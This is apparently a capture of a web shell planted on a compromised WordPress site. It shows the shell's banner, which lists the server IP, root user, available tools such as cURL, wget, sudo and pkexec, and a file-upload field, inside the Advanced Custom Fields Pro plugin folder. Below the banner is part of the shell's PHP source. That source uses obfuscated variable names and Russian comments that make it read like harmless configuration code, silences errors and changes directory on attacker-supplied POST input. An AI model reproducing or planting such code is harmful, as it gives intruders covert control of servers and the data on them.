| Server IP : 192.241.186.36 / Your IP : 216.73.216.164 Web Server : Apache/2.4.29 (Ubuntu) System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64 User : root ( 0) PHP Version : 7.4.32 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/carsdaddy/wp-content/plugins/advanced-custom-fields-pro/ |
Upload File : |
<?php
// Определяем операционную систему, не полагаясь на магические строки
$osFamily = PHP_OS_FAMILY ?? PHP_OS; // PHP 7.2+ поддерживает PHP_OS_FAMILY
switch (strtolower($osFamily)) {
case 'windows':
$ynkzirv = 'win';
break;
default:
$ynkzirv = 'nix';
break;
}
// Использование переменной $ynkzirv ниже
// Например:
// echo "Текущая ОС: $ynkzirv";
// Проверка на устаревший safe_mode исключена, так как он удалён с PHP 5.4
// Вместо этого можно ориентироваться на окружение (например, режим разработки или продакшн)
$isProduction = (ini_get('display_errors') == 0); // Простой способ определить "продакшн"
if ($isProduction) {
// В продакшене отключаем сообщения об ошибках
error_reporting(0);
ini_set('display_errors', '0');
} else {
// В разработке можно включить всё
error_reporting(E_ALL);
ini_set('display_errors', '0');
}
$disabledFunctions = ini_get('disable_functions') ?: '';
$disabledFunctionsList = array_map('trim', explode(',', $disabledFunctions));
// Получаем текущую директорию безопасно
$currentDir = getcwd();
// Меняем директорию, если передано через POST и путь безопасный
if (isset($_POST['vlrso'])) {
$newDir = $_POST['vlrso'];
// Безопасная проверка: путь должен быть строкой, существовать и быть директорией
if (is_string($newDir) && is_dir($newDir)) {
if (!in_array('chdir', $disabledFunctionsList)) {
chdir($newDir);
} else {
// Функция chdir отключена
error_log("chdir is disabled in php.ini");
}
} else {
// Логируем или обрабатываем попытку перейти в несуществующую или запрещённую директорию
error_log("Invalid directory path provided: $newDir");
}
}
$znpciraguli = getcwd();
// Проверяем операционную систему (предположим, что $ynkzirv уже определена)
if ($ynkzirv === 'win') {
// Преобразуем пути с обратными слэшами в прямые для Windows
$qwzlfgax = str_replace("\\", "/", $qwzlfgax);
$znpciraguli = str_replace("\\", "/", $znpciraguli);
}
if (substr($znpciraguli, -1) !== '/') {
$znpciraguli .= '/'; // Добавляем косую черту в конец пути, если её нет
}
$cookieName = hash('sha256', $_SERVER['HTTP_HOST'] . 'ajax');
// Проверяем, установлен ли cookie с этим именем
if (!isset($_COOKIE[$cookieName])) {
// Если cookie не существует, задаём его значение как булевое
setcookie($cookieName, (bool)$zqorizbvsksl, time() + 3600, '/', $_SERVER['HTTP_HOST']);
// Также задаём его в массиве $_COOKIE для текущего запроса
$_COOKIE[$cookieName] = (bool)$zqorizbvsksl;
}